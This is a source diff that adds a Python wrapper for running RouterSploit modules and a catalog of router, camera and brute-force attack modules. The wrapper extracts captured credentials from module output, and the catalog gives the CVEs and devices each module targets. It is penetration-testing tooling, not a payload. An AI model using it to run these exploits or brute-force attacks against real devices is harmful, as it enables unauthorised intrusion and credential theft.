_ANSI_RE = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]|\x1b\([a-zA-Z]')
|
||||||
|
|
||||||
|
|
||||||
|
class RSFInterface:
|
||||||
|
"""High-level interface for RouterSploit operations.
|
||||||
|
|
||||||
|
Provides a clean API mirroring MSFInterface patterns:
|
||||||
|
- Module listing and search
|
||||||
|
- Module info and options
|
||||||
|
- Check (safe vulnerability verification)
|
||||||
|
- Run (full module execution)
|
||||||
|
- Output parsing and result formatting
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._manager = get_rsf_manager()
|
||||||
|
|
||||||
|
def ensure_available(self) -> bool:
|
||||||
|
"""Check that RSF is importable and available.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if RSF is available
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
RSFError: If RSF is not available
|
||||||
|
"""
|
||||||
|
if not self._manager.is_available:
|
||||||
|
raise RSFError(
|
||||||
|
"RouterSploit is not available. "
|
||||||
|
"Check install path in Settings > RouterSploit Settings."
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_available(self) -> bool:
|
||||||
|
"""Check if RSF is available without raising."""
|
||||||
|
return self._manager.is_available
|
||||||
|
|
||||||
|
@property
|
||||||
|
def module_count(self) -> int:
|
||||||
|
"""Get total number of available modules."""
|
||||||
|
return self._manager.get_module_count()
|
||||||
|
|
||||||
|
def list_modules(self, module_type: str = None) -> List[str]:
|
||||||
|
"""List available modules, optionally filtered by type.
|
||||||
|
|
||||||
|
Combines live RSF index with curated library data.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_type: Filter by type (exploits, creds, scanners, etc.)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of module paths
|
||||||
|
"""
|
||||||
|
self.ensure_available()
|
||||||
|
|
||||||
|
if module_type:
|
||||||
|
return self._manager.get_modules_by_type(module_type)
|
||||||
|
return self._manager.index_all_modules()
|
||||||
|
|
||||||
|
def search_modules(self, query: str) -> List[str]:
|
||||||
|
"""Search modules by keyword.
|
||||||
|
|
||||||
|
Searches both live RSF index and curated library.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query: Search string
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module paths
|
||||||
|
"""
|
||||||
|
self.ensure_available()
|
||||||
|
|
||||||
|
results = self._manager.search_modules(query)
|
||||||
|
|
||||||
|
# Also search curated library for richer matches
|
||||||
|
try:
|
||||||
|
from .rsf_modules import search_modules as search_curated
|
||||||
|
curated = search_curated(query)
|
||||||
|
curated_paths = [m['path'] for m in curated if 'path' in m]
|
||||||
|
# Merge without duplicates, curated first
|
||||||
|
seen = set(results)
|
||||||
|
for path in curated_paths:
|
||||||
|
if path not in seen:
|
||||||
|
results.append(path)
|
||||||
|
seen.add(path)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def get_module_info(self, path: str) -> RSFModuleInfo:
|
||||||
|
"""Get metadata for a module.
|
||||||
|
|
||||||
|
Tries curated library first, falls back to live introspection.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
RSFModuleInfo with module metadata
|
||||||
|
"""
|
||||||
|
# Try curated library first
|
||||||
|
try:
|
||||||
|
from .rsf_modules import get_module_info as get_curated_info
|
||||||
|
curated = get_curated_info(path)
|
||||||
|
if curated:
|
||||||
|
parts = path.split('/')
|
||||||
|
return RSFModuleInfo(
|
||||||
|
name=curated.get('name', path.split('/')[-1]),
|
||||||
|
path=path,
|
||||||
|
description=curated.get('description', ''),
|
||||||
|
authors=tuple(curated.get('authors', ())),
|
||||||
|
devices=tuple(curated.get('devices', ())),
|
||||||
|
references=tuple(curated.get('references', ())),
|
||||||
|
module_type=parts[0] if parts else "",
|
||||||
|
)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Fall back to live introspection
|
||||||
|
self.ensure_available()
|
||||||
|
_, info = self._manager.load_module(path)
|
||||||
|
return info
|
||||||
|
|
||||||
|
def get_module_options(self, path: str) -> List[Dict[str, Any]]:
|
||||||
|
"""Get configurable options for a module.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of option dicts with name, type, default, description, current
|
||||||
|
"""
|
||||||
|
self.ensure_available()
|
||||||
|
instance, _ = self._manager.load_module(path)
|
||||||
|
return self._manager.get_module_options(instance)
|
||||||
|
|
||||||
|
def check_module(self, path: str, options: Dict[str, str] = None,
|
||||||
|
timeout: int = None) -> RSFResult:
|
||||||
|
"""Run check() on a module -- safe vulnerability verification.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path
|
||||||
|
options: Dict of option_name -> value to set before running
|
||||||
|
timeout: Execution timeout in seconds (default from config)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
RSFResult with check results
|
||||||
|
"""
|
||||||
|
return self._execute_module(path, options, timeout, check_only=True)
|
||||||
|
|
||||||
|
def run_module(self, path: str, options: Dict[str, str] = None,
|
||||||
|
timeout: int = None) -> RSFResult:
|
||||||
|
"""Run run() on a module -- full exploit execution.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path
|
||||||
|
options: Dict of option_name -> value to set before running
|
||||||
|
timeout: Execution timeout in seconds (default from config)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
RSFResult with execution results
|
||||||
|
"""
|
||||||
|
return self._execute_module(path, options, timeout, check_only=False)
|
||||||
|
|
||||||
|
def _execute_module(self, path: str, options: Dict[str, str] = None,
|
||||||
|
timeout: int = None, check_only: bool = False) -> RSFResult:
|
||||||
|
"""Internal method to execute a module (check or run).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path
|
||||||
|
options: Option overrides
|
||||||
|
timeout: Timeout in seconds
|
||||||
|
check_only: If True, run check() instead of run()
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
RSFResult
|
||||||
|
"""
|
||||||
|
if not self._manager.is_available:
|
||||||
|
return RSFResult(
|
||||||
|
status=RSFStatus.NOT_AVAILABLE,
|
||||||
|
module_path=path,
|
||||||
|
)
|
||||||
|
|
||||||
|
if timeout is None:
|
||||||
|
from .config import get_config
|
||||||
|
timeout = get_config().get_int('rsf', 'execution_timeout', 120)
|
||||||
|
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Load and configure module
|
||||||
|
instance, info = self._manager.load_module(path)
|
||||||
|
|
||||||
|
target = ""
|
||||||
|
if options:
|
||||||
|
for name, value in options.items():
|
||||||
|
self._manager.set_module_option(instance, name, value)
|
||||||
|
if name == 'target':
|
||||||
|
target = value
|
||||||
|
|
||||||
|
# Get target from instance if not in options
|
||||||
|
if not target:
|
||||||
|
target = str(getattr(instance, 'target', ''))
|
||||||
|
|
||||||
|
# Execute
|
||||||
|
if check_only:
|
||||||
|
check_result, raw_output = self._manager.execute_check(instance, timeout)
|
||||||
|
else:
|
||||||
|
completed, raw_output = self._manager.execute_run(instance, timeout)
|
||||||
|
check_result = None
|
||||||
|
|
||||||
|
execution_time = time.time() - start_time
|
||||||
|
cleaned = self._clean_output(raw_output)
|
||||||
|
successes, info_lines, errors, credentials = self._parse_output(cleaned)
|
||||||
|
|
||||||
|
# Determine status
|
||||||
|
if check_only:
|
||||||
|
if check_result is True:
|
||||||
|
status = RSFStatus.VULNERABLE
|
||||||
|
elif check_result is False:
|
||||||
|
status = RSFStatus.NOT_VULNERABLE
|
||||||
|
elif "[!]" in raw_output and "timed out" in raw_output.lower():
|
||||||
|
status = RSFStatus.TIMEOUT
|
||||||
|
else:
|
||||||
|
status = RSFStatus.FAILED
|
||||||
|
else:
|
||||||
|
if "[!]" in raw_output and "timed out" in raw_output.lower():
|
||||||
|
status = RSFStatus.TIMEOUT
|
||||||
|
elif errors and not successes:
|
||||||
|
status = RSFStatus.FAILED
|
||||||
|
elif successes or credentials:
|
||||||
|
status = RSFStatus.SUCCESS
|
||||||
|
elif completed:
|
||||||
|
status = RSFStatus.SUCCESS
|
||||||
|
else:
|
||||||
|
status = RSFStatus.FAILED
|
||||||
|
|
||||||
|
return RSFResult(
|
||||||
|
status=status,
|
||||||
|
module_path=path,
|
||||||
|
target=target,
|
||||||
|
raw_output=raw_output,
|
||||||
|
cleaned_output=cleaned,
|
||||||
|
successes=successes,
|
||||||
|
info=info_lines,
|
||||||
|
errors=errors,
|
||||||
|
credentials=credentials,
|
||||||
|
check_result=check_result,
|
||||||
|
execution_time=execution_time,
|
||||||
|
)
|
||||||
|
|
||||||
|
except RSFError as e:
|
||||||
|
return RSFResult(
|
||||||
|
status=RSFStatus.FAILED,
|
||||||
|
module_path=path,
|
||||||
|
target=options.get('target', '') if options else '',
|
||||||
|
raw_output=str(e),
|
||||||
|
cleaned_output=str(e),
|
||||||
|
errors=[str(e)],
|
||||||
|
execution_time=time.time() - start_time,
|
||||||
|
)
|
||||||
|
|
||||||
|
def _clean_output(self, raw: str) -> str:
|
||||||
|
"""Strip ANSI escape codes from output.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
raw: Raw output potentially containing ANSI codes
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Cleaned text
|
||||||
|
"""
|
||||||
|
if not raw:
|
||||||
|
return ""
|
||||||
|
return _ANSI_RE.sub('', raw)
|
||||||
|
|
||||||
|
def _parse_output(self, cleaned: str):
|
||||||
|
"""Parse cleaned output into categorized lines.
|
||||||
|
|
||||||
|
Categorizes lines by RSF prefix:
|
||||||
|
- [+] = success/finding
|
||||||
|
- [*] = informational
|
||||||
|
- [-] = error/failure
|
||||||
|
|
||||||
|
Also extracts credentials from common patterns.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cleaned: ANSI-stripped output
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (successes, info, errors, credentials)
|
||||||
|
"""
|
||||||
|
successes = []
|
||||||
|
info_lines = []
|
||||||
|
errors = []
|
||||||
|
credentials = []
|
||||||
|
|
||||||
|
for line in cleaned.splitlines():
|
||||||
|
stripped = line.strip()
|
||||||
|
if not stripped:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if stripped.startswith('[+]'):
|
||||||
|
successes.append(stripped[3:].strip())
|
||||||
|
# Check for credential patterns
|
||||||
|
creds = self._extract_credentials(stripped)
|
||||||
|
if creds:
|
||||||
|
credentials.append(creds)
|
||||||
|
elif stripped.startswith('[*]'):
|
||||||
|
info_lines.append(stripped[3:].strip())
|
||||||
|
elif stripped.startswith('[-]'):
|
||||||
|
errors.append(stripped[3:].strip())
|
||||||
|
elif stripped.startswith('[!]'):
|
||||||
|
errors.append(stripped[3:].strip())
|
||||||
|
|
||||||
|
return successes, info_lines, errors, credentials
|
||||||
|
|
||||||
|
def _extract_credentials(self, line: str) -> Optional[Dict[str, str]]:
|
||||||
|
"""Extract credentials from a success line.
|
||||||
|
|
||||||
|
Common RSF credential output patterns:
|
||||||
|
- [+] admin:password
|
||||||
|
- [+] Found valid credentials: admin / password
|
||||||
|
- [+] username:password on target:port
|
||||||
|
|
||||||
|
Args:
|
||||||
|
line: A [+] success line
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict with username/password keys, or None
|
||||||
|
"""
|
||||||
|
# Pattern: username:password
|
||||||
|
cred_match = re.search(
|
||||||
|
r'(?:credentials?|found|valid).*?(\S+)\s*[:/]\s*(\S+)',
|
||||||
|
line, re.IGNORECASE
|
||||||
|
)
|
||||||
|
if cred_match:
|
||||||
|
return {
|
||||||
|
'username': cred_match.group(1),
|
||||||
|
'password': cred_match.group(2),
|
||||||
|
}
|
||||||
|
|
||||||
|
# Simple colon-separated on [+] lines
|
||||||
|
content = line.replace('[+]', '').strip()
|
||||||
|
if ':' in content and len(content.split(':')) == 2:
|
||||||
|
parts = content.split(':')
|
||||||
|
# Only if parts look like creds (not URLs or paths)
|
||||||
|
if not any(x in parts[0].lower() for x in ['http', '/', '\\']):
|
||||||
|
return {
|
||||||
|
'username': parts[0].strip(),
|
||||||
|
'password': parts[1].strip(),
|
||||||
|
}
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def print_result(self, result: RSFResult, verbose: bool = False):
|
||||||
|
"""Print formatted execution result.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
result: RSFResult to display
|
||||||
|
verbose: Show raw output if True
|
||||||
|
"""
|
||||||
|
print()
|
||||||
|
print(f" {Colors.BOLD}{Colors.WHITE}Execution Result{Colors.RESET}")
|
||||||
|
print(f" {Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Status with color
|
||||||
|
status_colors = {
|
||||||
|
RSFStatus.SUCCESS: Colors.GREEN,
|
||||||
|
RSFStatus.VULNERABLE: Colors.RED,
|
||||||
|
RSFStatus.NOT_VULNERABLE: Colors.GREEN,
|
||||||
|
RSFStatus.FAILED: Colors.RED,
|
||||||
|
RSFStatus.TIMEOUT: Colors.YELLOW,
|
||||||
|
RSFStatus.NOT_AVAILABLE: Colors.YELLOW,
|
||||||
|
}
|
||||||
|
color = status_colors.get(result.status, Colors.WHITE)
|
||||||
|
print(f" {Colors.CYAN}Status:{Colors.RESET} {color}{result.status.value}{Colors.RESET}")
|
||||||
|
print(f" {Colors.CYAN}Module:{Colors.RESET} {result.module_path}")
|
||||||
|
if result.target:
|
||||||
|
print(f" {Colors.CYAN}Target:{Colors.RESET} {result.target}")
|
||||||
|
print(f" {Colors.CYAN}Time:{Colors.RESET} {result.execution_time:.1f}s")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Successes
|
||||||
|
if result.successes:
|
||||||
|
for line in result.successes:
|
||||||
|
print(f" {Colors.GREEN}[+]{Colors.RESET} {line}")
|
||||||
|
|
||||||
|
# Info
|
||||||
|
if result.info:
|
||||||
|
for line in result.info:
|
||||||
|
print(f" {Colors.CYAN}[*]{Colors.RESET} {line}")
|
||||||
|
|
||||||
|
# Errors
|
||||||
|
if result.errors:
|
||||||
|
for line in result.errors:
|
||||||
|
print(f" {Colors.RED}[-]{Colors.RESET} {line}")
|
||||||
|
|
||||||
|
# Credentials
|
||||||
|
if result.credentials:
|
||||||
|
print()
|
||||||
|
print(f" {Colors.GREEN}{Colors.BOLD}Credentials Found:{Colors.RESET}")
|
||||||
|
for cred in result.credentials:
|
||||||
|
print(f" {Colors.GREEN}{cred.get('username', '?')}{Colors.RESET}:"
|
||||||
|
f"{Colors.YELLOW}{cred.get('password', '?')}{Colors.RESET}")
|
||||||
|
|
||||||
|
# Verbose: raw output
|
||||||
|
if verbose and result.cleaned_output:
|
||||||
|
print()
|
||||||
|
print(f" {Colors.DIM}Raw Output:{Colors.RESET}")
|
||||||
|
for line in result.cleaned_output.splitlines():
|
||||||
|
print(f" {Colors.DIM}{line}{Colors.RESET}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
|
||||||
|
|
||||||
|
# Singleton instance
|
||||||
|
_rsf_interface = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_rsf_interface() -> RSFInterface:
|
||||||
|
"""Get the global RSFInterface singleton instance."""
|
||||||
|
global _rsf_interface
|
||||||
|
if _rsf_interface is None:
|
||||||
|
_rsf_interface = RSFInterface()
|
||||||
|
return _rsf_interface
|
||||||
542
core/rsf_modules.py
Normal file
542
core/rsf_modules.py
Normal file
@ -0,0 +1,542 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH RouterSploit Curated Module Library
|
||||||
|
Offline-browsable metadata for key RSF modules.
|
||||||
|
Mirrors core/msf_modules.py patterns for RSF-specific modules.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .banner import Colors
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Module Library ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
RSF_MODULES = {
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# EXPLOITS - ROUTERS
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
# ── D-Link Routers ──────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/dlink/dir_300_600_rce': {
|
||||||
|
'name': 'D-Link DIR-300 & DIR-600 RCE',
|
||||||
|
'description': 'Exploits D-Link DIR-300, DIR-600 Remote Code Execution '
|
||||||
|
'vulnerability allowing command execution with root privileges.',
|
||||||
|
'authors': ('Michael Messner', 'Marcin Bury'),
|
||||||
|
'devices': ('D-Link DIR 300', 'D-Link DIR 600'),
|
||||||
|
'references': ('http://www.s3cur1ty.de/m1adv2013-003',),
|
||||||
|
'tags': ('dlink', 'rce', 'router', 'http'),
|
||||||
|
'notes': 'Targets the web interface. Requires HTTP access to the router.',
|
||||||
|
},
|
||||||
|
'exploits/routers/dlink/dir_645_815_rce': {
|
||||||
|
'name': 'D-Link DIR-645 & DIR-815 RCE',
|
||||||
|
'description': 'Exploits D-Link DIR-645 and DIR-815 Remote Code Execution '
|
||||||
|
'vulnerability via the web interface.',
|
||||||
|
'authors': ('Michael Messner', 'Marcin Bury'),
|
||||||
|
'devices': ('DIR-815 v1.03b02', 'DIR-645 v1.02', 'DIR-645 v1.03',
|
||||||
|
'DIR-600 below v2.16b01', 'DIR-300 revB v2.13b01',
|
||||||
|
'DIR-412 Ver 1.14WWB02', 'DIR-110 Ver 1.01'),
|
||||||
|
'references': ('http://www.s3cur1ty.de/m1adv2013-017',),
|
||||||
|
'tags': ('dlink', 'rce', 'router', 'http'),
|
||||||
|
'notes': 'Affects multiple DIR-series firmware versions.',
|
||||||
|
},
|
||||||
|
'exploits/routers/dlink/multi_hnap_rce': {
|
||||||
|
'name': 'D-Link Multi HNAP RCE',
|
||||||
|
'description': 'Exploits HNAP remote code execution in multiple D-Link devices '
|
||||||
|
'allowing command execution on the device.',
|
||||||
|
'authors': ('Samuel Huntley', 'Craig Heffner', 'Marcin Bury'),
|
||||||
|
'devices': ('D-Link DIR-645', 'D-Link DIR-880L', 'D-Link DIR-865L',
|
||||||
|
'D-Link DIR-860L revA/B', 'D-Link DIR-815 revB',
|
||||||
|
'D-Link DIR-300 revB', 'D-Link DIR-600 revB',
|
||||||
|
'D-Link DAP-1650 revB'),
|
||||||
|
'references': ('https://www.exploit-db.com/exploits/37171/',
|
||||||
|
'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'),
|
||||||
|
'tags': ('dlink', 'rce', 'hnap', 'router', 'http'),
|
||||||
|
'notes': 'HNAP (Home Network Administration Protocol) vulnerability '
|
||||||
|
'affecting a wide range of D-Link devices.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Cisco Routers ───────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/cisco/rv320_command_injection': {
|
||||||
|
'name': 'Cisco RV320 Command Injection',
|
||||||
|
'description': 'Exploits Cisco RV320 Remote Command Injection in the '
|
||||||
|
'web-based certificate generator feature (CVE-2019-1652).',
|
||||||
|
'authors': ('RedTeam Pentesting GmbH', 'GH0st3rs'),
|
||||||
|
'devices': ('Cisco RV320 1.4.2.15 to 1.4.2.22', 'Cisco RV325'),
|
||||||
|
'references': ('https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652',),
|
||||||
|
'tags': ('cisco', 'rce', 'command_injection', 'router', 'cve-2019-1652'),
|
||||||
|
'notes': 'Requires HTTPS access (port 443). Targets certificate generator.',
|
||||||
|
},
|
||||||
|
'exploits/routers/cisco/ios_http_authorization_bypass': {
|
||||||
|
'name': 'Cisco IOS HTTP Authorization Bypass',
|
||||||
|
'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to '
|
||||||
|
'bypass authentication and execute commands by specifying a '
|
||||||
|
'high access level in the URL (CVE-2001-0537).',
|
||||||
|
'authors': ('renos stoikos',),
|
||||||
|
'devices': ('Cisco IOS 11.3 to 12.2',),
|
||||||
|
'references': ('http://www.cvedetails.com/cve/cve-2001-0537',),
|
||||||
|
'tags': ('cisco', 'auth_bypass', 'ios', 'router', 'http', 'cve-2001-0537'),
|
||||||
|
'notes': 'Classic IOS vulnerability. Only affects very old IOS versions.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Netgear Routers ─────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/netgear/dgn2200_ping_cgi_rce': {
|
||||||
|
'name': 'Netgear DGN2200 RCE',
|
||||||
|
'description': 'Exploits Netgear DGN2200 RCE via ping.cgi script '
|
||||||
|
'(CVE-2017-6077).',
|
||||||
|
'authors': ('SivertPL', 'Josh Abraham'),
|
||||||
|
'devices': ('Netgear DGN2200v1-v4',),
|
||||||
|
'references': ('https://www.exploit-db.com/exploits/41394/',
|
||||||
|
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'),
|
||||||
|
'tags': ('netgear', 'rce', 'router', 'http', 'cve-2017-6077'),
|
||||||
|
'notes': 'Requires valid credentials (default: admin/password).',
|
||||||
|
},
|
||||||
|
'exploits/routers/netgear/multi_rce': {
|
||||||
|
'name': 'Netgear Multi RCE',
|
||||||
|
'description': 'Exploits remote command execution in multiple Netgear devices. '
|
||||||
|
'If vulnerable, opens a command loop with OS-level access.',
|
||||||
|
'authors': ('Andrei Costin', 'Marcin Bury'),
|
||||||
|
'devices': ('Netgear WG102', 'Netgear WG103', 'Netgear WN604',
|
||||||
|
'Netgear WNDAP350', 'Netgear WNDAP360', 'Netgear WNAP320',
|
||||||
|
'Netgear WNDAP660', 'Netgear WNDAP620'),
|
||||||
|
'references': ('http://firmware.re/vulns/acsa-2015-001.php',),
|
||||||
|
'tags': ('netgear', 'rce', 'router', 'http', 'multi'),
|
||||||
|
'notes': 'Targets multiple Netgear enterprise wireless APs.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Mikrotik Routers ────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure': {
|
||||||
|
'name': 'Mikrotik WinBox Auth Bypass - Credentials Disclosure',
|
||||||
|
'description': 'Bypasses authentication through WinBox service in Mikrotik '
|
||||||
|
'devices v6.29 to v6.42 and retrieves admin credentials.',
|
||||||
|
'authors': ('Alireza Mosajjal', 'Mostafa Yalpaniyan', 'Marcin Bury'),
|
||||||
|
'devices': ('Mikrotik RouterOS 6.29 to 6.42',),
|
||||||
|
'references': ('https://n0p.me/winbox-bug-dissection/',
|
||||||
|
'https://github.com/BasuCert/WinboxPoC'),
|
||||||
|
'tags': ('mikrotik', 'auth_bypass', 'creds', 'winbox', 'router', 'tcp'),
|
||||||
|
'notes': 'Targets WinBox service (port 8291). Very high impact.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── TP-Link Routers ─────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/tplink/archer_c2_c20i_rce': {
|
||||||
|
'name': 'TP-Link Archer C2 & C20i RCE',
|
||||||
|
'description': 'Exploits TP-Link Archer C2 and C20i RCE allowing root-level '
|
||||||
|
'command execution.',
|
||||||
|
'authors': ('Michal Sajdak', 'Marcin Bury'),
|
||||||
|
'devices': ('TP-Link Archer C2', 'TP-Link Archer C20i'),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('tplink', 'rce', 'router', 'http'),
|
||||||
|
'notes': 'Targets the Archer web interface.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ── Asus Routers ────────────────────────────────────────────────────────
|
||||||
|
'exploits/routers/asus/asuswrt_lan_rce': {
|
||||||
|
'name': 'AsusWRT LAN RCE',
|
||||||
|
'description': 'Exploits multiple vulnerabilities in AsusWRT firmware to achieve '
|
||||||
|
'RCE: HTTP auth bypass + VPN config upload + infosvr command '
|
||||||
|
'execution (CVE-2018-5999, CVE-2018-6000).',
|
||||||
|
'authors': ('Pedro Ribeiro', 'Marcin Bury'),
|
||||||
|
'devices': ('AsusWRT < v3.0.0.4.384.10007',),
|
||||||
|
'references': ('https://nvd.nist.gov/vuln/detail/CVE-2018-5999',
|
||||||
|
'https://nvd.nist.gov/vuln/detail/CVE-2018-6000'),
|
||||||
|
'tags': ('asus', 'rce', 'auth_bypass', 'router', 'http', 'udp',
|
||||||
|
'cve-2018-5999', 'cve-2018-6000'),
|
||||||
|
'notes': 'Chains HTTP auth bypass with UDP infosvr for full RCE.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# EXPLOITS - CAMERAS
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'exploits/cameras/dlink/dcs_930l_932l_auth_bypass': {
|
||||||
|
'name': 'D-Link DCS Cameras Auth Bypass',
|
||||||
|
'description': 'D-Link DCS web cameras allow unauthenticated attackers to '
|
||||||
|
'obtain device configuration by accessing unprotected URLs.',
|
||||||
|
'authors': ('Roberto Paleari', 'Dino Causevic'),
|
||||||
|
'devices': ('D-Link DCS-930L fw 1.04', 'D-Link DCS-932L fw 1.02'),
|
||||||
|
'references': ('https://www.exploit-db.com/exploits/24442/',),
|
||||||
|
'tags': ('dlink', 'camera', 'auth_bypass', 'http'),
|
||||||
|
'notes': 'Uses port 8080 by default.',
|
||||||
|
},
|
||||||
|
'exploits/cameras/cisco/video_surv_path_traversal': {
|
||||||
|
'name': 'Cisco Video Surveillance Path Traversal',
|
||||||
|
'description': 'Path traversal in Cisco Video Surveillance Operations '
|
||||||
|
'Manager 6.3.2 allowing file reads from the filesystem.',
|
||||||
|
'authors': ('b.saleh', 'Marcin Bury'),
|
||||||
|
'devices': ('Cisco Video Surveillance Operations Manager 6.3.2',),
|
||||||
|
'references': ('https://www.exploit-db.com/exploits/38389/',),
|
||||||
|
'tags': ('cisco', 'camera', 'path_traversal', 'http'),
|
||||||
|
'notes': 'Read /etc/passwd or other files via path traversal.',
|
||||||
|
},
|
||||||
|
'exploits/cameras/brickcom/corp_network_cameras_conf_disclosure': {
|
||||||
|
'name': 'Brickcom Network Camera Config Disclosure',
|
||||||
|
'description': 'Exploits Brickcom Corporation Network Camera configuration '
|
||||||
|
'disclosure vulnerability to read device config and credentials.',
|
||||||
|
'authors': ('Orwelllabs', 'Marcin Bury'),
|
||||||
|
'devices': ('Brickcom FB-100Ae', 'Brickcom WCB-100Ap',
|
||||||
|
'Brickcom OB-200Np-LR', 'Brickcom VD-E200Nf'),
|
||||||
|
'references': ('https://www.exploit-db.com/exploits/39696/',),
|
||||||
|
'tags': ('brickcom', 'camera', 'config_disclosure', 'http'),
|
||||||
|
'notes': 'Extracts admin credentials from configuration.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# EXPLOITS - GENERIC
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'exploits/generic/heartbleed': {
|
||||||
|
'name': 'OpenSSL Heartbleed',
|
||||||
|
'description': 'Exploits OpenSSL Heartbleed vulnerability (CVE-2014-0160). '
|
||||||
|
'Fake heartbeat length leaks memory data from the server.',
|
||||||
|
'authors': ('Neel Mehta', 'Jared Stafford', 'Marcin Bury'),
|
||||||
|
'devices': ('Multi',),
|
||||||
|
'references': ('http://www.cvedetails.com/cve/2014-0160',
|
||||||
|
'http://heartbleed.com/'),
|
||||||
|
'tags': ('heartbleed', 'openssl', 'ssl', 'tls', 'memory_leak', 'generic',
|
||||||
|
'cve-2014-0160'),
|
||||||
|
'notes': 'Tests for Heartbleed on any SSL/TLS service. '
|
||||||
|
'Default port 443.',
|
||||||
|
},
|
||||||
|
'exploits/generic/shellshock': {
|
||||||
|
'name': 'Shellshock',
|
||||||
|
'description': 'Exploits Shellshock vulnerability (CVE-2014-6271) allowing '
|
||||||
|
'OS command execution via crafted HTTP headers.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multi',),
|
||||||
|
'references': ('https://access.redhat.com/articles/1200223',),
|
||||||
|
'tags': ('shellshock', 'bash', 'rce', 'http', 'generic', 'cve-2014-6271'),
|
||||||
|
'notes': 'Injects via HTTP headers (default: User-Agent). '
|
||||||
|
'Configure path and method as needed.',
|
||||||
|
},
|
||||||
|
'exploits/generic/ssh_auth_keys': {
|
||||||
|
'name': 'SSH Authorized Keys',
|
||||||
|
'description': 'Tests for known default SSH keys that ship with various '
|
||||||
|
'embedded devices and appliances.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multi',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('ssh', 'keys', 'default_creds', 'generic'),
|
||||||
|
'notes': 'Checks for factory SSH keys common on IoT/embedded devices.',
|
||||||
|
},
|
||||||
|
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
# CREDENTIALS - GENERIC
|
||||||
|
# ════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
'creds/generic/ftp_bruteforce': {
|
||||||
|
'name': 'FTP Bruteforce',
|
||||||
|
'description': 'Performs bruteforce attack against FTP service. '
|
||||||
|
'Displays valid credentials when found.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multiple devices',),
|
||||||
|
'references': (),
|
||||||
|
'tags': ('ftp', 'bruteforce', 'creds', 'generic'),
|
||||||
|
'notes': 'Supports file:// targets for batch mode. '
|
||||||
|
'Default port 21. Threaded (default 8 threads).',
|
||||||
|
},
|
||||||
|
'creds/generic/ssh_bruteforce': {
|
||||||
|
'name': 'SSH Bruteforce',
|
||||||
|
'description': 'Performs bruteforce attack against SSH service. '
|
||||||
|
'Displays valid credentials when found.',
|
||||||
|
'authors': ('Marcin Bury',),
|
||||||
|
'devices': ('Multiple devices',),
|
||||||
|
'references': (),
|
||||||
|
